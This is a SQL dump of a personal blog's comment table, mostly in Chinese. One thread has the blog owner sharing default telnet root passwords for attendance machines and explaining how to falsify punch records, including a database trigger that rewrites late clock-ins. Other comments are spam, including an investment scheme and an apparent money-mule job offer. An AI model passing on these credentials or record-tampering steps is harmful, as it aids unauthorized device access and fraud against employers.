INSERT INTO `tb_comment` VALUES (178, 3, 177, 1, 'Doghole', 'huocaizhu@gmail.com', 'http://smileat.me', '已发到你留的邮箱。', '2021-09-15 12:29:43', '18.167.17.8', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (179, 19, -1, 0, 'So..', 'liujunhaonan@gmail.com', NULL, 'telnet密码到底怎么获取呢。\r\nWelcome to Linux (ZMM220B) for MIPS\r\nonly for use and sale in China\r\nKernel 3.0.8 on an MIPS\r\n', '2020-11-02 12:10:08', '58.57.180.122', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (180, 19, 179, 1, 'Doghole', 'huocaizhu@gmail.com', 'http://smileat.me', '@So.. 按理来说应该就是 solokey 或 pd*@&jz%+ 如果不对的话，就不知道了', '2020-11-03 14:48:10', '180.136.159.214', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (181, 19, 179, 1, 'Doghole', 'huocaizhu@gmail.com', NULL, '@So.. 如果 telnet 行不通，可以参考 0x05，用 SDK 连接考勤机', '2020-11-03 14:49:32', '180.136.159.214', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (182, 19, 181, 2, 'So..', 'liujunhaonan@gmail.com', NULL, '@Doghole 这两个密码都不对。SDK在github没看到合适的。方便分享一下sdk或者关键词。', '2020-11-04 13:05:27', '58.57.180.122', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (183, 19, 182, 3, 'Doghole', 'huocaizhu@gmail.com', 'http://smileat.me', '@So.. Try this one: http://www.uzzf.com/soft/460683.html', '2020-11-05 12:35:50', '113.16.60.16', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (184, 19, -1, 0, 'dh', 'deitydbgod@gmail.com', NULL, 'telnet的2个密码都不对，8888的密码也不对，sdk可以用，但是不能改考勤机上的数据库。。。', '2020-12-07 20:03:18', '123.123.120.30', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (185, 19, 184, 1, 'Doghole', 'huocaizhu@gmail.com', 'http://smileat.me', '如果改不了的话，那就用 SDK 改打卡机的时间然后再补打卡。\r\n或者用 SDK 读你们管理员的密码再进打卡机后台改时间再补打卡，不过风险比前者更高。\r\n\r\n进后台的好处是，部分考勤机能将 ZKDB.db 这个文件导出到U盘上（在后台的功能是数据备份，导出来是个 dat 结尾的文件，实际格式是 zip，你可以用压缩软件解压得到 ZKDB.db）\r\n这是一个 SQLite3 的数据库，你可以把它修改完以后放回压缩包里去，再导回打卡机里面去\r\n\r\n如果能导出 ZKDB.db，我建议你像 0x03 那样，给数据库加个触发器，每次就算是迟到/早退打卡也会帮你修改成正常打卡时间', '2020-12-07 20:20:21', '220.173.206.30', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (186, 19, -1, 0, 'Project.M', '2606789161@qq.com', NULL, '一般被工厂初始化后的密码为solokey，pd*@&jz%+这个密码是2008年左右的密码了。\r\n管理员，你们所说的这种，也只能用在早前的设备上，现在新款的已经不适用了。', '2020-12-08 10:19:16', '121.35.2.154', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3823.400 QQBrowser/10.7.4307.400', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (187, 19, 186, 1, 'Doghole', 'huocaizhu@gmail.com', 'http://smileat.me', '@Project.M 感谢。需要研究新款的管理员密码', '2020-12-08 19:59:59', '52.33.103.167', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (188, 19, -1, 0, '和合', 'hy1985tang@163.com', NULL, '您好，您研究过汉王的人脸考勤机吗？单位有一台汉王人脸通C340，能给提供一些思路吗？谢谢', '2021-09-24 14:36:09', '61.138.100.2', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (189, 19, 188, 1, 'Doghole', 'huocaizhu@gmail.com', 'http://smileat.me', '@和合 没有研究过', '2021-09-25 12:51:50', '222.217.122.109', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (190, 19, -1, 0, 'zhongkong', '1442093688@qq.com', NULL, '你好大佬，我想问一下纯小白考勤机是没有联网的，全靠u盘输入输出，修改的时u盘下载的dat文件用记事本打开的现在的话修改完以后会出现打卡时间变成0点的错误数据，请问是哪一步错了', '2021-11-09 10:50:45', '210.22.150.146', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.44', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (191, 19, 190, 1, 'Doghole', 'huocaizhu@gmail.com', NULL, '没碰到过dat格式的考勤文件，不过像这种文件，Windows记事本编辑再保存是可能会丢失一些信息的，比如一些记事本显示不出来的编码。又或者是每一条记录是固定长的，比如16个字节一条记录，你要改了时间以后可能就超过16字节，然后挤压到别的信息了。你要直接编辑可以试着用Notepad++，或者十六进制编辑器（010Editor之类的）看下有没有固定格式。', '2021-11-10 17:56:30', '84.17.57.149', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (194, 3, 178, 2, 'nervdg', 'redterror110@gmail.com', '', '@Doghole 您好，pcb文件麻烦发我一份，万分感谢！我已加入tg群组，希望多多交流！', '2021-12-04 02:24:01', '192.168.56.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (195, 3, 194, 3, 'Doghole', 'huocaizhu@gmail.com', 'https://smileat.me', '不好意思现在才看到……你应该也拿到了', '2021-12-04 02:24:15', '192.168.56.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (196, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '笑死，试下评论', '2021-12-10 19:07:36', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (197, 1, 196, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '好像没毛病噢', '2021-12-10 19:07:50', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (198, 1, -1, 0, 'aadad', 'fafsaf@qqe.cc', '', '大大大大大大大大大多', '2022-01-02 12:20:26', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (199, 142, -1, 0, 'IsacReaxy', 'kostarninke@gmail.com', 'http://1228.downloadfirstyou.com/', 'ingerebibl12gooxs222 \r\nhttp://585.allorgdownload.org/\r\nhttp://2334.downloadfirstyou.com/\r\nhttp://2584.downloadfirstyou.com/\r\nhttp://2399.downloadfirstyou.com/\r\nhttp://440.allorgdownload.org/\r\n \r\nhttp://1445.downloadfirstyou.com/', '2022-01-19 21:51:02', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36 Edg/90.0.818.39', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (200, 142, -1, 0, 'IsacReaxy', 'kostarninke@gmail.com', 'http://54.allorgdownload.org/', 'ingerebibl12gooxs222 \r\nhttp://1342.allorgdownload.org/\r\nhttp://2389.downloadfirstyou.com/\r\nhttp://137.how-tonow.fun/\r\nhttp://1089.downloadfirstyou.com/\r\nhttp://1424.downloadfirstyou.com/\r\n \r\nhttp://843.allorgdownload.org/', '2022-01-19 23:04:06', '10.0.2.15', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.49', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (201, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '是咩       ', '2022-01-31 20:03:52', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (202, 19, -1, 0, '程序员小丽', 'google@gmail.com', 'http://google.com', '\r\nWelcome to Linux (ZMM220B) for MIPS\r\nonly for use and sale in China\r\nKernel 3.0.8 on an MIPS\r\n这个版本的密码好像还真难破解。。。一只没有办法解决。\r\n但是这个版本打卡记录不是按升顺排列导出的，难办呀', '2022-02-13 21:53:58', '10.0.2.15', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.80 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (203, 19, 202, 1, 'Doghole', 'huocaizhu@gmail.com', NULL, '不是按升序排序，有时候关系也不大。如果人事是一个人一个人统计的，你只要保证你的打卡时间是升序的就行了。我之前就是这样的。', '2022-02-14 09:12:55', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (204, 142, -1, 0, 'IsacReaxy', 'thisbedaugherty@gmail.com', 'https://howyoutoknowacxv.online/map.php', 'Yes, really. I join told all above. Let\'s discuss this question. \r\ndfgdlfg2131.32 \r\nhttps://howyoutoknowa.online/map.php\r\n', '2022-02-25 17:35:20', '10.0.2.15', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (205, 157, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '我真不适合学数学', '2022-03-14 13:36:04', '10.0.2.15', 'Mozilla/5.0 (Linux; Android 11; V2025A; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36 VivoBrowser/10.9.10.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (206, 157, 205, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '遭受 aftermath 了', '2022-03-14 14:08:32', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (207, 1, -1, 0, 'Jamestab', 'gilbertsawyer@protonmail.com', 'http://www.noname.com', 'Looking for a way to earn daily income? minimum of 1% daily ROI \r\n \r\nhttp://www.acedailyprofits.com/ \r\n \r\nAce Daily Profits is a crowdfunding company, putting together little amount of money from a large number of investors to invest in profitable businesses in exchange for daily profits. \r\nWe also have a network marketing plan of 3 levels. 10%, 5% and 2%. \r\n \r\nSignup, fund your account and start earning immediately.  Minimum deposit $100', '2022-04-04 18:08:55', '10.0.2.15', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36 OPR/54.0.2952.64', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (208, 1, -1, 0, 'Mike ', 'no-replyamalkHig@gmail.com', 'https://no-site.com', 'Hi there \r\n \r\nWe will enhance your Local Ranks organically and safely, using only whitehat methods, while providing Google maps and website offsite work at the same time. \r\n \r\nPlease check our plans here, we offer Local SEO at cheap rates. \r\nhttps://speed-seo.net/product/local-seo-package/ \r\n \r\nNEW: \r\nhttps://www.speed-seo.net/product/zip-codes-gmaps-citations/ \r\n \r\nregards \r\nMike  \r\nSpeed SEO Digital Agency', '2022-04-07 01:51:08', '10.0.2.15', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (209, 1, -1, 0, 'Michaelwem', 'beeonthetop.com@gmail.com', 'https://no-site.com', 'Buy Followers, Likes and Views \r\n \r\nGet Thousands of Followers, Likes, Views and more for all you social media channels. \r\nInstagram, Facebook, Tiktok and more.. \r\n \r\nBoost your sales, and get more leads. \r\nhttps://www.beeonthetop.com', '2022-04-07 07:52:14', '10.0.2.15', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36 OPR/54.0.2952.64 (Edition Yx)', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (210, 1, -1, 0, 'Ryan Hart', 'ryanhartvideos@gmail.com', 'https://no-site.com', 'Hey! \r\n \r\nDo you want to increase sales for your business 24/7? \r\n \r\nIf so, you have to grab people’s attention quickly. And there’s nothing like a catchy explainer video to do the trick! \r\n \r\nI have an exclusive offer available for the first 20 people that act on this message today, but you have to act fast. \r\n \r\nWhile you would normally pay as much as $600, or probably even $1,000, for a single 60-second video, I am providing the same service and giving you TWO VIDEOS for only $147. That’s right, less than $75 per video, which is unheard of! \r\n \r\nYou can order now at: https://bit.ly/two-video-promo \r\n \r\nNot sure if you caught it, but this offer is only good this week, for the first 20 clients, so you need to order now, before you miss out. \r\n \r\nAgain, this $147 promotion is for TWO VIDEOS and is for this week only. Don’t miss out!!! The normal price of this package is $1,135, so you are saving $938. \r\n \r\nClick Here Now To Watch The Animated Video That We Created To Explain It All \r\n---> https://bit.ly/two-video-promo \r\n \r\nSee you at the movies, \r\n \r\nRyan Hart \r\nXpress Animation', '2022-04-12 19:26:49', '10.0.2.15', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (211, 1, -1, 0, 'Daniel', 'support@newlightdigital.com.hubspot-inbox.com', 'https://no-site.com', 'Hi there, \r\n \r\nI am reaching out to see if you\'re interested in starting an ad campaign or improving the performance of an existing campaign on platforms like Google Ads, Bing Ads, Facebook Ads, and more by using PPC (Pay-Per-Click)? \r\n \r\nI am an expert in online advertising, and I will provide guaranteed traffic to your site, which can have a huge impact on your sales. Let me know if you\'re interested. \r\n \r\nThanks, \r\nDaniel \r\n \r\n \r\n-- \r\n \r\nDaniel Todercan \r\nOwner, New Light Digital \r\nOur website: https://bit.ly/3tjh2N4 \r\nMy phone number: 917-744-9170', '2022-04-21 18:06:51', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (212, 1, -1, 0, 'Ryan Hart', 'ryanhartvideos@gmail.com', 'https://www.no-site.com', 'Hey… \r\n \r\nDo you want to increase sales for your business 24/7? \r\n \r\nIf so, you have to grab people’s attention quickly. And there’s nothing like a catchy explainer video to do the trick! \r\n \r\nI have an exclusive offer available for the first 20 people that act on this message today, but you must act fast. \r\n \r\nWhile you would normally pay as much as $600, or probably even $1,000, for a single 60-second video, I am providing the same service and giving you TWO VIDEOS for only $147. That’s right, less than $75 per video, which is unheard of! \r\n \r\nYou can order now at: https://bit.ly/two-video-promo-1    (  https://bit.ly/two-video-promo-1   ) \r\n \r\nNot sure if you caught it, but this offer is only good this week, for the first 20 clients, so you need to order now, before you miss out. \r\n \r\nAgain, this $147 promotion is for TWO VIDEOS and is for this week only. Don’t miss out!!! The normal price of this exclusive package is $1,135, so you are saving $938. \r\n \r\nClick Here Now To Watch The Animated Video That We Created To Explain It All \r\n---> https://bit.ly/two-video-promo-1  (   https://bit.ly/two-video-promo-1   ) \r\n \r\nSee you at the movies, \r\n \r\nRyan Hart \r\nXpress Animation', '2022-05-04 13:02:00', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36 OPR/54.0.2952.51', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (213, 1, -1, 0, 'Some SEO Motherfucker', 'no-replyamalkHig@gmail.com', NULL, '[Some words about SEO shit]', '2022-05-04 14:59:03', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36 OPR/54.0.2952.71', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (214, 1, 213, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', 'SEO MY ASS', '2022-05-07 11:23:34', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (215, 1, -1, 0, 'Ryan Hart', 'ryanhartvideos@gmail.com', 'https://no-site.com', 'The world’s gone completely nuts lately! And it seems like things are going to get worse before they get better. \r\n \r\nMost companies are struggling to keep their head above water and essentially finding the old way of doing stuff no longer works like it used to. \r\n \r\nIf you can relate, I have an idea that costs very little and can really have a big impact. \r\n \r\nThis simple idea will work for any company that needs to get more sales and increase leads but doesn\'t have a lot of time to waste or money to spend. \r\n \r\nI am talking about a new animated explainer video to freshen up your website and social media. Some recent clients have seen it increase sales by 20, 30 and 40%. \r\n \r\nIf this sounds good, we have a special offer right now where you can get an epic 60-second high-quality animated explainer video (from an American company) for only $147. In fact, you get TWO COPIES (a standard HD format and one made for your social media). \r\n \r\nReady? Go to https://bit.ly/two-video-promo-1 to get started or for more info. \r\n \r\nCheers! \r\nRyan Hart \r\nXpress Animation', '2022-05-15 22:48:54', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.170 Safari/537.36 OPR/53.0.2907.68', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (216, 1, -1, 0, 'Hermanbut', 'heldokinmo@gmail.com', 'http://www.noname.com', 'It is considered one of the modern services in the world. Due to the increasing demand for it and its high quality. \r\nIt will give you the pleasure of watching The latest series & movies and sports events In addition to the most prominent primium channels. \r\n \r\nMore than 10000 premium Channels \r\nStability \r\n4K HEVC FHD HD SD Streams \r\nMulti-device Support \r\n24 Hours Free Trial \r\n99.9% Uptime Guarantee \r\n24/7 Customer Support \r\nFast Delivery \r\nDevices: Android, ios, Pc… \r\nFull Support \r\nFree Updates \r\nIt is more than just irresistible penjoyment… \r\nIt’s more than just a fantasy… \r\nMore importantly, there will be no technical knowledge required to install our subscriptions to your support, however, if you need help or instructions to install the service, please feel free to contact us via the site’s messages or by e-mail. We will be with you at any time of the day. \r\nhttps://planetiptvpro.online', '2022-05-30 16:43:43', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.62 Safari/537.36', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (217, 1, -1, 0, 'Mike ', 'no-replyamalkHig@gmail.com', 'https://no-site.com', 'Hi there \r\n \r\nWe will increase your Local Ranks organically and safely, using only whitehat methods, while providing Google maps and website offsite work at the same time. \r\n \r\nPlease check our services below, we offer Local SEO at cheap rates. \r\nhttps://speed-seo.net/product/local-seo-package/ \r\n \r\nNEW: \r\nhttps://www.speed-seo.net/product/zip-codes-gmaps-citations/ \r\n \r\nregards \r\nMike  \r\nSpeed SEO Digital Agency', '2022-06-01 13:20:53', '10.0.2.15', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (218, 1, -1, 0, 'Zuki Chang', 'info.meiwa@via.tokyo.jp', 'https://www.no-site.com', 'Hello, \r\n \r\nIf you are based in the United States of America, Meiwa Corporation Co, Ltd urgently needs you to serve as her Spokesperson/Financial Coordinator for its clients in the United States. It\'s a part-time job with a good pay and will only take a few minutes of your time daily, and it will not bring any conflict of interest in case you are working with another company. If interested, contact email: info@meiwacorporations.com \r\n \r\n \r\nBest Regards \r\nZuki Chang \r\nMeiwa Corporation co.Ltd. \r\n3-chome, Chiyoda-ku, \r\nTokyo 100-8311, Japan', '2022-06-03 06:44:21', '10.0.2.15', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.170 Safari/537.36 OPR/53.0.2907.99', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (219, 68, -1, 0, 'freeman', 'dearfreeman@nil.go', '', '这篇文章看一次笑一次hhhhhh', '2022-06-14 23:09:15', '10.0.2.15', 'Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (222, 68, 219, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '23333', '2022-06-20 11:56:55', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (223, 129, -1, 0, 'RakeshChow', 'rakeshchow202@gmail.com', 'https://github.com/CypherpunkSamurai/', 'Very nice. I was looking for this since long time. Thanks a lot man :)\nI have one problem. How do you find the function in\n> 双击 off_4004 进去看看，确认是 getEncryptionKey 方法：\n\nline?\n\nI cant find my function. IDA is not recognizing it :(\n', '2022-06-20 14:49:30', '10.0.2.15', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (224, 129, 223, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', 'Sometimes `off_*` blocks cannot be recognized as functions with IDA, but we can still find it with keyword strings and find relative function (or recognized as `off_*` block).', '2022-06-23 10:49:37', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (225, 129, 223, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', 'If you cannot find it with the way above, maybe the *.so file has been used some ways to be obscured. My IDA skill is poor, at this point I might find an old version of the app and check if it\'s not obscured. It always works.', '2022-06-23 10:53:43', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (226, 1, -1, 0, 'Mike ', 'no-replyamalkHig@gmail.com', 'https://no-site.com', 'Hi \r\n \r\nWe will enhance your Local Ranks organically and safely, using only whitehat methods, while providing Google maps and website offsite work at the same time. \r\n \r\nPlease check our services below, we offer Local SEO at cheap rates. \r\nhttps://speed-seo.net/product/local-seo-package/ \r\n \r\nNEW: \r\nhttps://www.speed-seo.net/product/zip-codes-gmaps-citations/ \r\n \r\nregards \r\nMike  \r\nSpeed SEO Digital Agency', '2022-06-30 15:02:30', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.170 Safari/537.36 OPR/53.0.2907.99', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (227, 129, 225, 2, 'RakeshChow', 'rakeshchow202@gmail.com', 'https://github.com/CypherpunkSamurai/', 'Thank you. I found it. Thank you very much :D', '2022-07-06 06:16:52', '10.0.2.15', 'Mozilla/5.0 (Linux; Android 7.1.1; Coolpad COR-I0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.147 Mobile Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (228, 129, -1, 0, 'RakeshChow', 'rakeshchow202@gmail.com', 'https://github.com/CypherpunkSamurai/', 'Btw to find it you need to find the jni function signature (it\'s name and data types and return type), then find the cross reference to the string. IDA and ghidra both show function just beneath the signature ', '2022-07-06 06:18:35', '10.0.2.15', 'Mozilla/5.0 (Linux; Android 7.1.1; Coolpad COR-I0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.147 Mobile Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (229, 19, -1, 0, '程序员小丽 ', 'a@gmail.com', '', '还在蹲守这个版本的密码： Welcome to Linux (ZMM220B) for MIPS\r\nonly for use and sale in China\r\nKernel 3.0.8 on an MIPS', '2022-07-06 09:21:17', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (230, 129, 228, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', 'Thank you. That\'s a nice experience.', '2022-07-07 17:18:28', '10.0.2.15', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (231, 1, -1, 0, 'Mike ', 'no-replyamalkHig@gmail.com', 'https://no-site.com', 'Good Day \r\n \r\nWe will improve your Local Ranks organically and safely, using only whitehat methods, while providing Google maps and website offsite work at the same time. \r\n \r\nPlease check our pricelist here, we offer Local SEO at cheap rates. \r\nhttps://speed-seo.net/product/local-seo-package/ \r\n \r\nNEW: \r\nhttps://www.speed-seo.net/product/zip-codes-gmaps-citations/ \r\n \r\nregards \r\nMike  \r\nSpeed SEO Digital Agency', '2022-07-30 17:28:49', '10.0.2.15', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36', 2, 0, 0, 1, 0, 0);
